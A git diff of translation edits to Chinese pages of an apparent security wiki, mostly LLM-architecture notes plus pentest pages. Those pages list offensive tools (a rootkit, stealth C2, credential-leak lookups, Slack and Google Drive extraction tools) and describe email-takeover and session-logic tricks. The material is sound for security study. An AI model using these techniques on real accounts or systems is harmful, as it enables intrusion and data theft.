-3. **应用 Softmax**：使用掩蔽分数计算注意力权重。
+3. **应用Softmax**：使用掩蔽分数计算注意力权重。
 
 ```python
 attention_weights = torch.softmax(masked_scores, dim=-1)
 ```
 
-### 使用 Dropout 掩蔽额外的注意力权重
+### 使用Dropout掩蔽额外的注意力权重
 
-为了 **防止过拟合**，我们可以在 softmax 操作后对注意力权重应用 **dropout**。Dropout **在训练期间随机将一些注意力权重置为零**。
+为了**防止过拟合**，我们可以在softmax操作后对注意力权重应用**dropout**。Dropout在训练期间**随机将一些注意力权重置为零**。
 ```python
 dropout = nn.Dropout(p=0.5)
 attention_weights = dropout(attention_weights)
@@ -323,11 +323,11 @@ print("context_vecs.shape:", context_vecs.shape)
 ```
 ## 扩展单头注意力到多头注意力
 
-**多头注意力** 在实际操作中是指执行 **多个实例** 的自注意力函数，每个实例都有 **自己的权重**，因此计算出不同的最终向量。
+**多头注意力** 在实际操作中是执行 **多个实例** 的自注意力函数，每个实例都有 **自己的权重**，因此计算出不同的最终向量。
 
 ### 代码示例
 
-可以重用之前的代码，只需添加一个包装器来多次启动它，但这是一个更优化的版本，来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb)，它同时处理所有头（减少了昂贵的 for 循环数量）。正如您在代码中看到的，每个标记的维度根据头的数量被划分为不同的维度。这样，如果标记有 8 个维度，而我们想使用 3 个头，维度将被划分为 2 个 4 维的数组，每个头将使用其中一个：
+可以重用之前的代码，只需添加一个包装器来多次启动它，但这是一个更优化的版本，来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb)，它同时处理所有头（减少了昂贵的 for 循环数量）。正如您在代码中看到的，每个 token 的维度根据头的数量被划分为不同的维度。这样，如果 token 有 8 个维度，而我们想使用 3 个头，维度将被划分为 2 个 4 维的数组，每个头将使用其中一个：
 ```python
 class MultiHeadAttention(nn.Module):
 def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
@@ -409,4 +409,8 @@ print("context_vecs.shape:", context_vecs.shape)
 > [!TIP]
 > ChatGPT 关于为什么将令牌的维度分配给各个头而不是让每个头检查所有令牌的所有维度的简短回答：
 >
-> 尽管允许每个头处理所有嵌入维度似乎是有利的，因为每个头将能够访问完整的信息，但标准做法是 **将嵌入维度分配给各个头**。这种方法在计算效率与模型性能之间取得了平衡，并鼓励每个头学习多样化的表示。因此，通常
+> 尽管允许每个头处理所有嵌入维度似乎是有利的，因为每个头将能够访问完整信息，但标准做法是 **将嵌入维度分配给各个头**。这种方法在计算效率与模型性能之间取得了平衡，并鼓励每个头学习多样化的表示。因此，通常更倾向于分割嵌入维度，而不是让每个头检查所有维度。
+
+## 参考文献
+
+- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
diff --git a/src/todo/llm-training-data-preparation/5.-llm-architecture.md b/src/todo/llm-training-data-preparation/5.-llm-architecture.md
index c0465d954..894e13e5c 100644
--- a/src/todo/llm-training-data-preparation/5.-llm-architecture.md
+++ b/src/todo/llm-training-data-preparation/5.-llm-architecture.md
@@ -217,7 +217,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
 <figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> 在FeedForward层内部的线性层之后使用此函数的目的是将线性数据转换为非线性，以便模型能够学习复杂的非线性关系。
+> 在FeedForward层内的线性层之后使用此函数的目的是将线性数据转换为非线性，以便模型能够学习复杂的非线性关系。
 
 ### **前馈神经网络**
 
@@ -271,7 +271,7 @@ return x  # Output shape: (batch_size, seq_len, emb_dim)
 > [!NOTE]
 > 该网络的目标是找到同一上下文中标记之间的关系。此外，标记被分配到不同的头中，以防止过拟合，尽管每个头找到的最终关系在该网络的末尾被组合在一起。
 >
-> 此外，在训练期间应用了 **因果掩蔽**，以便在查看特定标记的关系时不考虑后续标记，并且还应用了一些 **dropout** 以 **防止过拟合**。
+> 此外，在训练期间应用 **因果掩蔽**，以便在查看特定标记的关系时不考虑后来的标记，并且还应用了一些 **dropout** 以 **防止过拟合**。
 
 ### **层** 归一化
 ```python
@@ -356,13 +356,13 @@ return x  # Output shape: (batch_size, seq_len, emb_dim)
 #### **逐步功能**
 
 1. **第一个残差路径（自注意力）：**
-- **输入（`shortcut`）：** 保存原始输入以进行残差连接。
+- **输入（`shortcut`）：** 保存原始输入以用于残差连接。
 - **层归一化（`norm1`）：** 归一化输入。
 - **多头注意力（`att`）：** 应用自注意力。
 - **丢弃法（`drop_shortcut`）：** 应用丢弃法以进行正则化。
 - **添加残差（`x + shortcut`）：** 与原始输入结合。
 2. **第二个残差路径（前馈）：**
-- **输入（`shortcut`）：** 保存更新后的输入以进行下一个残差连接。
+- **输入（`shortcut`）：** 保存更新后的输入以用于下一个残差连接。
 - **层归一化（`norm2`）：** 归一化输入。
 - **前馈网络（`ff`）：** 应用前馈变换。
 - **丢弃法（`drop_shortcut`）：** 应用丢弃法。
@@ -376,7 +376,7 @@ return x  # Output shape: (batch_size, seq_len, emb_dim)
 
 ### **GPTModel**
 
-_已添加形状作为注释，以更好地理解矩阵的形状：_
+_形状已作为注释添加，以更好地理解矩阵的形状：_
 ```python
 # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
 class GPTModel(nn.Module):
@@ -437,14 +437,14 @@ return logits  # Output shape: (batch_size, seq_len, vocab_size)
 - **令牌嵌入 (`tok_emb`):** 将令牌索引转换为嵌入。作为提醒，这些是赋予词汇中每个令牌每个维度的权重。
 - **位置嵌入 (`pos_emb`):** 向嵌入添加位置信息，以捕捉令牌的顺序。作为提醒，这些是根据令牌在文本中的位置赋予的权重。
 - **丢弃 (`drop_emb`):** 应用于嵌入以进行正则化。
-- **变换器块 (`trf_blocks`):** 堆叠 `n_layers` 个变换器块以处理嵌入。
-- **最终归一化 (`final_norm`):** 在输出层之前进行层归一化。
+- **变换器块 (`trf_blocks`):** 一组 `n_layers` 变换器块，用于处理嵌入。
+- **最终归一化 (`final_norm`):** 在输出层之前的层归一化。
 - **输出层 (`out_head`):** 将最终隐藏状态投影到词汇大小，以生成预测的 logits。
 
 > [!NOTE]
 > 该类的目标是使用所有其他提到的网络来**预测序列中的下一个令牌**，这对于文本生成等任务至关重要。
 >
-> 注意它将**使用尽可能多的变换器块**，并且每个变换器块使用一个多头注意力网络、一个前馈网络和几个归一化。因此，如果使用12个变换器块，则将其乘以12。
+> 注意它将**使用尽可能多的变换器块**，并且每个变换器块使用一个多头注意力网络，一个前馈网络和几个归一化。因此，如果使用12个变换器块，则将其乘以12。
 >
 > 此外，在**输出**之前添加了一个**归一化**层，并在最后应用一个最终线性层以获得具有适当维度的结果。注意每个最终向量的大小与使用的词汇相同。这是因为它试图为词汇中的每个可能令牌获取一个概率。
 
@@ -488,9 +488,9 @@ embedding_params = 38,597,376 + 786,432 = 39,383,808
 ```
 #### **2. Transformer Blocks**
 
-有12个变换器块，因此我们将计算一个块的参数，然后乘以12。
+有12个transformer块，因此我们将计算一个块的参数，然后乘以12。
 
-**每个变换器块的参数**
+**每个Transformer块的参数**
 
 **a. 多头注意力**
 
@@ -565,7 +565,7 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432
 layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
 ```
 
-**d. 每个变换器块的总参数**
+**d. 每个Transformer块的总参数**
 ```python
 pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
 params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
@@ -610,7 +610,7 @@ total_params = 163,009,536
 
 拥有一个像之前那样预测下一个标记的模型，只需从输出中获取最后一个标记的值（因为它们将是预测标记的值），这将是**词汇表中每个条目的值**，然后使用`softmax`函数将维度归一化为总和为1的概率，然后获取最大条目的索引，这将是词汇表中单词的索引。
 
-来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
+来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb) 的代码：
 ```python
 def generate_text_simple(model, idx, max_new_tokens, context_size):
 # idx is (batch, n_tokens) array of indices in the current context
diff --git a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md b/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md
index 858308d45..9e65045e7 100644
--- a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md
+++ b/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md
@@ -9,7 +9,7 @@ LoRA 使得通过仅更改模型的 **小部分** 来高效地微调 **大模型
 
 1. **减少可训练参数的数量**：LoRA **将** 权重矩阵分成两个较小的矩阵（称为 **A** 和 **B**），而不是更新模型中的整个权重矩阵。这使得训练 **更快**，并且需要 **更少的内存**，因为需要更新的参数更少。
 
-1. 这是因为它不是计算一个层（矩阵）的完整权重更新，而是将其近似为两个较小矩阵的乘积，从而减少了计算更新的复杂性：\
+1. 这是因为它不是计算层（矩阵）的完整权重更新，而是将其近似为两个较小矩阵的乘积，从而减少了计算更新的复杂性：\
    
 <figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
 
diff --git a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md b/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md
index ee57dc464..64229633b 100644
--- a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md
+++ b/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md
@@ -58,7 +58,7 @@ print(model_input + desired_response)
 - 对文本进行标记化
 - 将所有样本填充到相同的长度（通常长度将与用于预训练LLM的上下文长度相同）
 - 在自定义合并函数中将输入向右移动1以创建期望的标记
-- 用-100替换一些填充标记，以将其排除在训练损失之外：在第一个`endoftext`标记之后，将所有其他`endoftext`标记替换为-100（因为使用`cross_entropy(...,ignore_index=-100)`意味着它将忽略目标为-100的标记）
+- 用-100替换一些填充标记，以将其排除在训练损失之外：在第一个`endoftext`标记之后，将所有其他`endoftext`标记替换为-100（因为使用`cross_entropy(...,ignore_index=-100)`意味着它将忽略目标为-100的情况）
 - \[可选\] 使用-100掩盖所有属于问题的标记，以便LLM仅学习如何生成答案。在应用Alpaca风格时，这将意味着掩盖所有内容直到`### Response:`
 
 创建好这些后，是时候为每个数据集（训练、验证和测试）创建数据加载器了。
@@ -68,7 +68,7 @@ print(model_input + desired_response)
 需要加载一个预训练的LLM进行微调。这在其他页面中已经讨论过。然后，可以使用之前使用的训练函数来微调LLM。
 
 在训练过程中，还可以查看训练损失和验证损失在各个时期的变化，以查看损失是否在减少以及是否发生了过拟合。\
-请记住，过拟合发生在训练损失减少但验证损失没有减少甚至增加时。为避免这种情况，最简单的方法是在这种行为开始的时期停止训练。
+请记住，过拟合发生在训练损失减少但验证损失没有减少甚至增加时。为了避免这种情况，最简单的方法是在这种行为开始的时期停止训练。
 
 ## 响应质量
 
diff --git a/src/todo/llm-training-data-preparation/README.md b/src/todo/llm-training-data-preparation/README.md
index 1c3b96924..f14c428ae 100644
--- a/src/todo/llm-training-data-preparation/README.md
+++ b/src/todo/llm-training-data-preparation/README.md
@@ -64,7 +64,7 @@
 ## 6. 预训练与加载模型
 
 > [!TIP]
-> 这个第六阶段的目标非常简单：**从头开始训练模型**。为此，将使用之前的 LLM 架构，通过对数据集进行循环，使用定义的损失函数和优化器来训练模型的所有参数。
+> 这个第六阶段的目标非常简单：**从头开始训练模型**。为此，将使用之前的 LLM 架构，并通过定义的损失函数和优化器对数据集进行循环，以训练模型的所有参数。
 
 {{#ref}}
 6.-pre-training-and-loading-models.md
diff --git a/src/todo/misc.md b/src/todo/misc.md
index 8cd6d5361..f95699000 100644
--- a/src/todo/misc.md
+++ b/src/todo/misc.md
@@ -3,7 +3,7 @@
 在 ping 响应 TTL：\
 127 = Windows\
 254 = Cisco\
-其他，某些 Linux
+其他的是某些 Linux
 
 $1$- md5\
 $2$或 $2a$ - Blowfish\
@@ -25,7 +25,7 @@ UDP 端口扫描显示被扫描机器上的所有 UDP 端口都是开放的。\
 
 # CTF - 技巧
 
-在 **Windows** 上使用 **Winzip** 搜索文件。\
+在 **Windows** 中使用 **Winzip** 搜索文件。\
 **备用数据流**：_dir /r | find ":$DATA"_\
 ```
 binwalk --dd=".*" <file> #Extract everything
@@ -38,8 +38,8 @@ binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and
 **Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\
 **Base32**(5 —>8) —> A…Z, 2…7\
 **Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\
-**Uuencode** --> Start with "_begin \<mode> \<filename>_" 和奇怪的字符\
-**Xxencoding** --> Start with "_begin \<mode> \<filename>_" 和 B64\
+**Uuencode** --> Start with "_begin \<mode> \<filename>_" and weird chars\
+**Xxencoding** --> Start with "_begin \<mode> \<filename>_" and B64\
 \
 **Vigenere** (频率分析) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\
 **Scytale** (字符偏移) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher)
@@ -53,6 +53,6 @@ Snow --> 使用空格和制表符隐藏消息
 
 # Characters
 
-%E2%80%AE => RTL 字符 (反向书写有效载荷)
+%E2%80%AE => RTL字符 (反向书写有效载荷)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/todo/more-tools.md b/src/todo/more-tools.md
index 89ab1f43c..2d964a766 100644
--- a/src/todo/more-tools.md
+++ b/src/todo/more-tools.md
@@ -1,5 +1,6 @@
 {{#include ../banners/hacktricks-training.md}}
 
+
 # BlueTeam
 
 - [https://github.com/yarox24/attack_monitor](https://github.com/yarox24/attack_monitor)
@@ -54,7 +55,7 @@
 - [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : BurpSuite插件以查找漏洞（SQLi，XSS，SSTI）
 - [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : 用于跟踪post-messages函数的Chrome扩展
 - [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : 自动身份验证测试（删除cookies并尝试发送请求）
-- [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross是一个重建、扫描和渗透/ BugBounty测试工具。该工具旨在测试（XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI）漏洞
+- [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross是一个重建、扫描器和渗透/ BugBounty测试工具。该工具旨在测试（XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI）漏洞
 
 # Windows
 
@@ -67,7 +68,7 @@
 - [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Securestring混淆
 - [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : 父PID欺骗
 - [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : 加密Powershell有效载荷
-- [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : 隐形C2
+- [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : 隐蔽C2
 - [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : 关于Windows内部的日志系列
 - [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : 跟踪谁打开了文档
 - [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Active Directory备忘单
@@ -85,13 +86,13 @@ Post-crema:
 - [https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html](https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html)
 - [https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html](https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html)
 
-如何提取固件如果我们在线找不到它: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
+Como extraer firmware si no lo encontramos online: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
 
-这里有一个有漏洞的固件供分析: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
+Aqui un firware con vulnerabilidades para analizar: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
 
-以及这里的owasp方法论用于分析固件: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
+y por aqui la metodologia owasp para analizar firmware: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
 
-固件仿真: FIRMADYNE (https://github.com/firmadyne/firmadyne/) 是一个用于自动化Linux固件仿真和动态分析的平台。
+Firmware emulation: FIRMADYNE (https://github.com/firmadyne/firmadyne/) is a platform for automating the emulation and dynamic analysis of Linux-based firmware.
 
 # OTHER
 
@@ -101,18 +102,19 @@ Post-crema:
 - [https://github.com/skelsec/jackdaw](https://github.com/skelsec/jackdaw)
 - [https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : 静态代码分析
 - [https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html](https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html) : Bluetooth LE CTF
-- [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : SSH tarpit，缓慢发送无尽的横幅。
-- AWS和云工具: [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
-- IFS (Interplanetary File System) 用于钓鱼: [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
-- IP轮换服务: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212)
+- [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : SSH tarpit that slowly sends an endless banner.
+- AWS and Cloud tools: [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
+- IFS (Interplanetary File System) for phising: [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
+- IP rotation services: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212)
 - Linux rootkit: [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit)
 - [https://theia-ide.org/](https://theia-ide.org) : 在线IDE
-- [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : 开始BugBounties的资源
+- [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : 开始BugBounty的资源
 - [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : IOS渗透测试工具
 - [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : 关键词
 - [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : 黑客IoT（Wifi，BLE，SSDP，MDNS）
 - [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : 自动化扫描
-- [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : 此列表旨在涵盖Electron.js安全相关主题。
-- [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : 关于BB程序的信息
+- [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : 此列表旨在涵盖与Electron.js安全相关的主题。
+- [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : BB程序的信息
+
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/todo/online-platforms-with-api.md b/src/todo/online-platforms-with-api.md
index 5810916fb..55ba07433 100644
--- a/src/todo/online-platforms-with-api.md
+++ b/src/todo/online-platforms-with-api.md
@@ -22,8 +22,8 @@
 
 ## [Clearbit](https://dashboard.clearbit.com/)
 
-查找与电子邮件（其他平台上的个人资料）、域名（基本公司信息、邮件和工作的人）和公司（从邮件获取公司信息）相关的个人数据。\
-您需要付费才能访问所有可能性。\
+查找与电子邮件（其他平台上的个人资料）、域名（基本公司信息、邮件和员工）和公司（从邮件获取公司信息）相关的个人数据。\
+您需要付费才能访问所有功能。\
 商业？
 
 ## [BuiltWith](https://builtwith.com/)
@@ -55,7 +55,7 @@
 ## [securitytrails](https://securitytrails.com/app/account)
 
 该平台提供有关域名和IP地址的信息，例如IP或域名服务器内的域名、由电子邮件拥有的域名（查找相关域名）、域名的IP历史（查找CloudFlare背后的主机）、使用某个名称服务器的所有域名....\
-您有一些免费访问。
+您有一些免费访问权限。
 
 ## [fullcontact](https://www.fullcontact.com/)
 
@@ -67,7 +67,7 @@
 
 ## [\_IntelligenceX](https://intelx.io/)
 
-搜索域名、IP和电子邮件并获取来自数据泄露的信息。提供一些免费访问。
+搜索域名、IP和电子邮件并获取泄露信息。提供一些免费访问。
 
 ## [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
 
@@ -91,12 +91,12 @@
 
 ## [Dehashed](https://www.dehashed.com/data)
 
-查找电子邮件甚至域名的泄露凭据\
+查找泄露的电子邮件和域名凭据\
 商业？
 
 ## [psbdmp](https://psbdmp.ws/)
 
-搜索电子邮件出现的pastebins。商业？
+搜索出现某个电子邮件的pastebins。商业？
 
 ## [emailrep.io](https://emailrep.io/key)
 
@@ -104,7 +104,7 @@
 
 ## [ghostproject](https://ghostproject.fr/)
 
-获取泄露电子邮件的密码。商业？
+从泄露的电子邮件中获取密码。商业？
 
 ## [Binaryedge](https://www.binaryedge.io/)
 
@@ -112,7 +112,7 @@
 
 ## [haveibeenpwned](https://haveibeenpwned.com/)
 
-通过域名和电子邮件搜索并获取是否被攻破及密码。商业？
+通过域名和电子邮件搜索，查看是否被泄露及密码。商业？
 
 ### [IP2Location.io](https://www.ip2location.io/)
 
diff --git a/src/todo/other-web-tricks.md b/src/todo/other-web-tricks.md
index 7c281f9f2..379293495 100644
--- a/src/todo/other-web-tricks.md
+++ b/src/todo/other-web-tricks.md
@@ -12,7 +12,7 @@
 ### 会话布尔值
 
 有时，当您正确完成某些验证时，后端会 **仅将值为 "True" 的布尔值添加到您的会话的安全属性中**。然后，另一个端点将知道您是否成功通过了该检查。\
-然而，如果您 **通过检查** 并且您的会话在安全属性中获得了 "True" 值，您可以尝试 **访问其他资源**，这些资源 **依赖于相同的属性**，但您 **不应该有权限** 访问。 [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。
+然而，如果您 **通过了检查**，并且您的会话在安全属性中获得了 "True" 值，您可以尝试 **访问其他资源**，这些资源 **依赖于相同的属性**，但您 **不应该有权限** 访问。 [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。
 
 ### 注册功能
 
@@ -20,7 +20,7 @@
 
 ### 接管电子邮件
 
-注册一个电子邮件，在确认之前更改电子邮件，然后，如果新的确认电子邮件发送到第一个注册的电子邮件，您可以接管任何电子邮件。或者，如果您可以启用第二个电子邮件以确认第一个电子邮件，您也可以接管任何账户。
+注册一个电子邮件，在确认之前更改电子邮件，然后，如果新的确认电子邮件发送到第一个注册的电子邮件，您可以接管任何电子邮件。或者，如果您可以启用第二个电子邮件以确认第一个电子邮件，您也可以接管任何帐户。
 
 ### 访问使用 Atlassian 的公司的内部服务台
 
diff --git a/src/todo/post-exploitation.md b/src/todo/post-exploitation.md
index 2cada9a35..ea9a70d02 100644
--- a/src/todo/post-exploitation.md
+++ b/src/todo/post-exploitation.md
@@ -11,6 +11,6 @@
 - [**GD-Thief**](https://github.com/antman1p/GD-Thief): 红队工具，用于通过 Google Drive API 从目标的 Google Drive 中提取文件，攻击者可以访问这些文件。这包括所有共享文件、所有共享驱动器中的文件，以及目标可以访问的域驱动器中的所有文件。
 - [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): 红队工具，用于通过 Google 的 People API 提取您可以访问的目标组织的 Google 人员目录。
 - [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** 这是一个用 Python 开发的工具，利用原生 Slack API 从给定访问令牌的 Slack 工作区中提取“有趣”的信息。
-- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound 是一个命令行工具，供红队和蓝队快速对 Slack 工作区/组织进行侦察。Slackhound 使组织的用户、文件、消息等的收集快速可搜索，大型对象被写入 CSV 以供离线审查。
+- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound 是一个命令行工具，供红队和蓝队快速对 Slack 工作区/组织进行侦察。Slackhound 使组织的用户、文件、消息等的收集快速可搜索，并将大型对象写入 CSV 以供离线审查。
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/todo/radio-hacking/fissure-the-rf-framework.md b/src/todo/radio-hacking/fissure-the-rf-framework.md
index 2b2e83ef6..239b96130 100644
--- a/src/todo/radio-hacking/fissure-the-rf-framework.md
+++ b/src/todo/radio-hacking/fissure-the-rf-framework.md
@@ -6,7 +6,7 @@ FISSURE是一个开源的RF和逆向工程框架，旨在适应所有技能水
 
 FISSURE中包含的框架和工具旨在检测RF能量的存在，理解信号的特性，收集和分析样本，开发传输和/或注入技术，并制作自定义有效载荷或消息。FISSURE包含一个不断增长的协议和信号信息库，以协助识别、数据包制作和模糊测试。在线归档功能可用于下载信号文件并构建播放列表，以模拟流量和测试系统。
 
-友好的Python代码库和用户界面使初学者能够快速了解涉及RF和逆向工程的流行工具和技术。网络安全和工程教育者可以利用内置材料或利用该框架展示他们自己的实际应用。开发人员和研究人员可以将FISSURE用于日常任务或向更广泛的受众展示他们的前沿解决方案。随着FISSURE在社区中的认知和使用的增长，其能力和所涵盖技术的广度也将随之增加。
+友好的Python代码库和用户界面使初学者能够快速了解涉及RF和逆向工程的流行工具和技术。网络安全和工程教育者可以利用内置材料或利用该框架展示他们自己的实际应用。开发人员和研究人员可以将FISSURE用于日常任务或向更广泛的受众展示他们的前沿解决方案。随着FISSURE在社区中的认知和使用的增长，其能力的范围和所涵盖的技术的广度也将随之增加。
 
 **附加信息**
 
@@ -31,9 +31,9 @@ FISSURE中有三个分支，以便于文件导航并减少代码冗余。Python2
 | Ubuntu 20.04.4 (x64) | Python3\_maint-3.8 |
 |  KDE neon 5.25 (x64) | Python3\_maint-3.8 |
 
-**进行中（beta）**
+**进行中（测试版）**
 
-这些操作系统仍处于beta状态。它们正在开发中，已知缺少多个功能。安装程序中的项目可能与现有程序冲突或在状态被移除之前无法安装。
+这些操作系统仍处于测试版状态。它们正在开发中，已知缺少多个功能。安装程序中的项目可能与现有程序冲突或在状态被移除之前无法安装。
 
 |     操作系统     |    FISSURE分支   |
 | :--------------: | :--------------: |
@@ -115,7 +115,7 @@ FISSURE附带了几本有用的指南，以帮助熟悉不同的技术和技巧
 * [Lesson7: 数据类型](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson7\_Data\_Types.md)
 * [Lesson8: 自定义GNU Radio模块](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson8\_Custom\_GNU\_Radio\_Blocks.md)
 * [Lesson9: TPMS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson9\_TPMS.md)
-* [Lesson10: 无线电考试](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson10\_Ham\_Radio\_Exams.md)
+* [Lesson10: 无线电业余考试](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson10\_Ham\_Radio\_Exams.md)
